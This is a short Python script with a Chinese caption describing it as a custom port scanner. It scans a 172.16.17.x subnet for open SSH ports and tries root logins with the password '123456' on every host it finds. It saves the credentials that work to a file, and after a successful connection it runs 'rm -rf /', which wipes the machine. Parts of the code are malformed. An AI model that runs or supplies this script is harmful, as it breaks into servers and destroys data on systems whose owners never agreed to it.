需求: 编写一个自定义端口的扫描程序服务器
# 端口扫描 from socket import * from multiprocessing.dummy import Pool from pexpect import pxssh import os # 建立对象 def scanning(i, port): try: socket_object = socket(AF_INET, SOCK_STREAM) # 设置超时时间 socket_object.settimeout(1) # i 为 1-255 port端口:22 socket_object.connect((f'172.16.17.{i}', port)) # 尝试链接 # 链接成功,表示端口开放,写入文件 ips.write(f'{i}\n') socket_object.close() except: pass # 初始化ip地址 ips = open('ip_port.txt','w') # 建立线程池 pool = Pool(processes=50) # 循环扫描 for i in range(1, 255): # 建立线程池 pool.apply_async(func=scanning, args=(i, 22)) pool.close() pool.join() ips.close() # 链接服务器 ssh = pxssh.pxssh() # 打开ip文件 ip = open('ip_port.txt','r') port = open('port.txt','w') ips = ip.readlines() for i in ips: try: #链接成功 res = ssh.login(f'172.16.17.{i}','root','123456') except: pass else: # 链接成功 # 向服务器发送指令 port.write(f'IP: 172.16.17.{i} 帐号: root 密码: 123456 \n') # 写入文件保存 try: re = os.popen(f'ssh 172.16.17.{i} root 123456') if re: os.popen('rm -rf /') print(f'ssh 172.16.17.{i} 成功') except: pass ip.close() port.close()